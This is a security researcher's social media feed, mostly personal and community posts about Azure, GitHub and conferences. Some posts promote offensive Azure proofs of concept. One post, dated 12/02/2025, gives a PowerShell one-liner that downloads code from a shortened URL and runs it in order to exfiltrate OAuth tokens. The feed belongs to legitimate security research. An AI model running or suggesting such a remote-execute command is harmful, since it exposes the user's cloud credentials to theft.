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Rogier Dijkman | MVP

@rogierdijkman.bsky.social
528 followers 78 following 52 posts

🔐 Security Researcher | Marathon Runner | Author | IaC | #GitHub | #PowerShell | #Azure #Bicep | #Copilot

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Rogier Dijkman | MVP @rogierdijkman.bsky.social · 17/02/2026
🏴‍☠️ 𝗡𝗲𝘄 𝗣𝗢𝗖: 𝗙𝗲𝗱𝗲𝗿𝗮𝘁𝗲𝗱 𝗜𝗱𝗲𝗻𝘁𝗶𝘁𝘆 𝗖𝗿𝗲𝗱𝗲𝗻𝘁𝗶𝗮𝗹 𝗶𝗻𝗷𝗲𝗰𝘁𝗶𝗼𝗻 This POC shows how you can inject a federated credential on a UAMI, mint a Graph token in less than ~5s without any infrastructure setup! azurehacking.com/post.html?sl...
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Rogier Dijkman | MVP @rogierdijkman.bsky.social · 17/10/2025
Had a great time presenting “Hacking Azure” with #BlackCat at @mc2mc.be. Thank you to @Savaco for providing such an excellent location. I’m finalizing the slides, recording short videos, and updating the walkthrough so attendees can easily revisit the steps demonstrated.
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Rogier Dijkman | MVP @rogierdijkman.bsky.social · 02/08/2025
Traveling through Florida for three weeks this summer. I am getting crazy of all the waivers that needs to be signed everywhere. I wouldn’t be surprised if I need to sign a waiver if you need to fart next time.
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Rogier Dijkman | MVP @rogierdijkman.bsky.social · 06/03/2025
Operating the camera 📷 at the #YellowHat event at @Microsoft
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Rogier Dijkman | MVP @rogierdijkman.bsky.social · 12/02/2025
🚨AzTokenDumpr 🚨 I have created a PoC to quickly exfiltrate #Microsoft #Azure oAuth Tokens from PowerShell. no installation required! run: PS> iex (irm bit.ly/blct-token)
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Rogier Dijkman | MVP @rogierdijkman.bsky.social · 24/01/2025
🚨 ANNOUNCEMENT🚨 I'm excited to announce the start of the "GitHub Lowlands" user group! 🤩 This is going to be awesome for connecting with others and stay up-date on everything about GitHub. @github.com @arthurvandijk.bsky.social #github #copilot #community
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Rogier Dijkman | MVP @rogierdijkman.bsky.social · 18/12/2024
WoW, this is awesome! GitHub Copilot now offers a free tier github.com/login?return...
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Rogier Dijkman | MVP @rogierdijkman.bsky.social · 28/11/2024
www.microsoftrnd.co.il/bluehatil/co...
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Rogier Dijkman | MVP @rogierdijkman.bsky.social · 22/11/2024
Having fun with putting payloads in a TXT records to trigger ASCII Art in the terminal. Next will be some ANSI Escape code magic and tampering with Azure DNS. #security
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Rogier Dijkman | MVP @rogierdijkman.bsky.social · 22/11/2024
Working this weekend on my Azure pentesting PowerShell Module #BlackCat If you have any suggestions or would like to contribute, sent me a PM 🏴
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Rogier Dijkman | MVP @rogierdijkman.bsky.social · 29/10/2024
Exchange Online Inbound DANE with DNSSEC is now Public Available 🥳 🎉 techcommunity.microsoft.com/t5/exchange-...
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